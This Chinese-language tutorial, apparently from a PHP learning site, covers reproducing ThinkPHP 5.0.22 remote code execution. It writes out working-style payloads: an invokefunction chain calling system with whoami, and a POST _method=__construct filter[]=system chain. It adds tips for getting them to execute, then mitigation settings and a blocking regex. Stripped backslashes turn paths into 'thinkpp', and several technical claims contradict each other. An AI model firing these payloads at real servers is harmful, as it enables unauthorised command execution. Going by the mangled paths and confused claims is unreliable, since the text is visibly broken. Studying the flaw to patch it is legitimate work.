thinkphp 5.0.22 poc本地跑不通主因是路径分隔符被web服务器自动将转为/,导致s参数解析失败;真正有效载荷需用?s=index/think\app/invokefunction并严格匹配大小写,且须检查app_debug、disable_functions及路由配置等关键环境项。

为什么5.0.22的POC在本地跑不通
直接复制网上常见的 ?s=index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 却返回404或空白,大概率不是环境没搭对,而是路径分隔符被自动转换了。ThinkPHP 5.0.22 在非强制路由下解析 s 参数时,会把 URL 中的 当作目录分隔符处理;但 Apache/Nginx + PHP 的 PATH_INFO 机制默认会把 替换为 /,导致原始 payload 被解析成 index/think/app/invokefunction —— 这个路径根本不存在。
真正能触发的写法必须用正斜杠,并且控制器名要严格匹配框架内部类名大小写:
-
?s=index/thinkpp/invokefunction(注意是thinkpp,不是think/app) - Windows 环境下需确保
php.ini中enable_dl = Off未开启,否则可能提前报错中断流程 - Apache 需启用
mod_rewrite,且.htaccess未屏蔽PATH_INFO
POST型变量覆盖RCE怎么构造有效请求
这类利用依赖 _method=__construct 触发对象属性覆盖,关键在于绕过 method() 方法里对 $_POST[Config::get('var_method')] 的 strtoupper() 处理 —— 它会让 __construct 变成 __CONSTRUCT,但 ThinkPHP 的魔术方法调用不区分大小写,仍可进入。
实际生效的最小必要参数组合是:
_method=__construct-
filter[]=system(不能写成filter=system,否则不会进数组遍历) -
method=GET(用于后续触发input()或param()) -
server[REQUEST_METHOD]=whoami(覆盖$server['REQUEST_METHOD'],让后续调用system(whoami))
如果返回空或 500,检查是否开启了 app_debug=true:debug 模式下部分错误会被捕获并静默,反而掩盖真实执行痕迹。
为什么升级到5.0.23还不算修复
官方在 5.0.23 中仅修补了 invokefunction 的白名单校验,但没动 __construct 变量覆盖链。这意味着只要 var_method 仍为默认的 _method,且未关闭自动路由,_method=__construct&filter[]=system&server[REQUEST_METHOD]=id 依然能执行命令。
必须同步做三件事:
- 在
config/app.php中显式设'var_method' => '',彻底禁用该入口 - 设
'url_route_on' => true且'auto_route' => false,关闭兼容模式路由 - 入口文件
public/index.php开头加拦截:if (isset($_GET['s']) && preg_match('/\\think\\|invokefunction|call_user_func/i', $_GET['s'])) { die('Access Denied'); }
复现时最易忽略的配置陷阱
很多复现失败,是因为漏掉了这三项看似无关但致命的配置:
-
app_debug设为true时,system()执行结果会被框架错误处理器吞掉,只返回 HTML 错误页,看起来像没执行 -
default_module若为空字符串,module()解析会跳过模块检查,直接进控制器名拼接,放大风险面 - Linux 下若
disable_functions包含system,exec,passthru,shell_exec,所有命令执行类 payload 全部静默失败,但phpinfo、file_put_contents仍可工作
验证是否真修复,不要只测 phpinfo,一定要用 file_put_contents 写入一个带时间戳的文件,再 GET 访问确认内容 —— 这才是 RCE 最不可绕过的证据。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











